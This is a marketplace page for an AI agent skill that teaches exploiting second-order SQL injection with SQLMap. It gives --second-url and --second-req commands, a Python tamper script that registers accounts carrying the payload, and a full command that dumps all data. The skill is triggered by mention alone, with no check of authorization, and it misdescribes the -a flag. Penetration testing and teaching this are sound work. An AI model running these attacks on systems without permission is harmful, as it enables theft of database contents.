# Sqlmap Second Order Injection

> How to exploit Second Order SQL Injection vulnerabilities using SQLMap. Use this skill whenever the user mentions second-order SQLi, stored SQL injection, SQLMap with --second-url or --second-req, or needs to chain multiple requests to exploit a SQL injection where the payload is saved in one request and executed in another. Also use when users need to create custom SQLMap tamper scripts for complex injection flows involving account creation, login sequences, or multi-step authentication.

- Skill: `abelrguezr/sqlmap-second-order-injection` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/sqlmap-second-order-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/sqlmap-second-order-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/sqlmap-second-order-injection

---


# Second Order SQL Injection with SQLMap

This skill helps you exploit **Second Order SQL Injection** vulnerabilities using SQLMap. In second-order SQLi, the malicious payload is **stored** in one request and **executed** in a different request.

## When to Use This Skill

Use this skill when:
- You've identified a SQL injection point where the payload gets stored (e.g., in a database during registration)
- The payload executes later when data is retrieved (e.g., viewing user details, profile pages)
- You need to chain multiple HTTP requests to complete the exploitation
- You need to create custom SQLMap tamper scripts for complex authentication flows

## Basic Second Order SQLi with SQLMap

### Simple Case: Two Requests

You need to provide:
1. **The request where the SQL injection payload is saved** (e.g., registration, profile update)
2. **The request where the payload will be executed** (e.g., viewing stored data)

```bash
# Get the SQL payload execution with a GET to a URL
sqlmap -r login.txt -p username --second-url "http://target.com/details.php"

# Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```

**Parameters explained:**
- `-r login.txt`: Request file containing the payload storage request
- `-p username`: Parameter to inject the payload into
- `--second-url`: URL where the stored payload will be executed
- `--second-req`: Request file for the execution request (use when you need custom headers/methods)

## Complex Second Order SQLi with Tamper Scripts

In many cases, the simple approach won't work because you need to perform additional actions between saving and executing the payload (e.g., create account, logout, login, view profile).

### Using Custom Tamper Scripts

SQLMap tamper scripts execute **before each injection attempt** and must return a payload. You can use them to perform side effects like creating accounts or managing sessions.

**Template tamper script** (see `scripts/second-order-tamper-template.py` for a customizable version):

```python
#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def perform_setup_actions(payload):
    """
    Perform any actions needed before the injection attempt.
    This runs BEFORE each payload is tested.
    """
    proxies = {'http': 'http://127.0.0.1:8080'}
    cookies = {"PHPSESSID": "your-session-id"}
    
    # Example: Create account with payload in email field
    params = {"username": "testuser", "email": payload, "password": "password123"}
    url = "http://target.com/create.php"
    requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
    
    # Example: Logout
    url = "http://target.com/exit.php"
    requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    perform_setup_actions(payload)
    return payload  # Must return the payload (can be modified or unchanged)
```

### Full SQLMap Command for Complex Flows

```bash
sqlmap \
  --tamper tamper.py \
  -r login.txt \
  -p email \
  --second-req second.txt \
  --proxy http://127.0.0.1:8080 \
  --prefix "a2344r3F'" \
  --technique=U \
  --dbms mysql \
  --union-char "DTEC" \
  -a
```

**Parameter breakdown:**
| Parameter | Purpose |
|-----------|----------|
| `--tamper tamper.py` | Custom tamper script to run before each injection attempt |
| `-r login.txt` | Request file for payload storage |
| `-p email` | Target parameter for injection |
| `--second-req second.txt` | Request file for payload execution |
| `--proxy` | Proxy server (e.g., Burp Suite) |
| `--technique=U` | Force UNION-based injection technique |
| `--dbms mysql` | Specify database management system |
| `--prefix` | Known prefix to help detect injection point |
| `--union-char` | Custom UNION character for identification |
| `-a` | Dump all data (level 5, risk 3) |

## Workflow Guide

### Step 1: Identify the Injection Points

1. **Storage point**: Where does the payload get saved? (registration, profile update, comment form)
2. **Execution point**: Where does the stored data get retrieved and displayed? (profile view, user details, comment display)

### Step 2: Capture the Requests

Use Burp Suite or similar to capture:
- **Request 1** (storage): Save as `login.txt` or similar
- **Request 2** (execution): Save as `second.txt` or use `--second-url`

### Step 3: Determine if You Need a Tamper Script

**You need a tamper script if:**
- You must create an account with the payload before testing
- You need to authenticate/logout between requests
- The execution requires a specific session state
- Multiple sequential actions are needed

**You don't need a tamper script if:**
- The payload is stored and executed in a simple two-request flow
- No additional authentication or state management is required

### Step 4: Run SQLMap

Start with basic commands, then add complexity as needed:

```bash
# Start simple
sqlmap -r storage.txt -p parameter --second-url "http://target.com/execution"

# Add tamper if needed
sqlmap --tamper tamper.py -r storage.txt -p parameter --second-req execution.txt

# Add optimization hints
sqlmap --tamper tamper.py -r storage.txt -p parameter --second-req execution.txt --technique=U --dbms mysql
```

## Common Scenarios

### Scenario 1: Registration → Profile View

**Flow:**
1. Register with SQLi payload in email field
2. View profile page where email is displayed

**Command:**
```bash
sqlmap -r register.txt -p email --second-url "http://target.com/profile.php"
```

### Scenario 2: Registration → Logout → Login → View Details

**Flow:**
1. Create account with payload in email
2. Logout
3. Login with created account
4. View user details page

**Solution:** Use custom tamper script (see template in `scripts/second-order-tamper-template.py`)

### Scenario 3: Comment Form → Comment Display

**Flow:**
1. Submit comment with SQLi payload
2. View page where comments are displayed

**Command:**
```bash
sqlmap -r comment.txt -p comment_text --second-url "http://target.com/thread.php?id=123"
```

## Tips and Best Practices

1. **Start simple**: Try `--second-url` before creating custom tamper scripts
2. **Use proxies**: Always route through Burp Suite (`--proxy http://127.0.0.1:8080`) to inspect traffic
3. **Help SQLMap**: Use `--technique`, `--dbms`, and `--prefix` to reduce detection time
4. **Test tamper scripts**: Verify your tamper script works independently before using with SQLMap
5. **Session management**: Ensure cookies and sessions are properly handled in tamper scripts
6. **Rate limiting**: Second-order attacks may be slower; use `--delay` if needed

## Troubleshooting

| Issue | Solution |
|-------|----------|
| SQLMap doesn't detect injection | Add `--prefix` with known prefix, try different `--technique` values |
| Tamper script not executing | Check `__priority__` is set, verify script is in SQLMap's tamper directory |
| Session issues | Ensure cookies are properly passed in tamper script and requests |
| Slow detection | Add `--delay` parameter, reduce `--level` and `--risk` |
| False positives | Use `--union-char` to help SQLMap identify the injection point |

## References

- SQLMap documentation: https://sqlmap.org/
- Tamper script development: https://github.com/sqlmapproject/sqlmap/wiki/Tamper-scripts
- Second-order SQL injection: https://portswigger.net/web-security/sql-injection/second-order

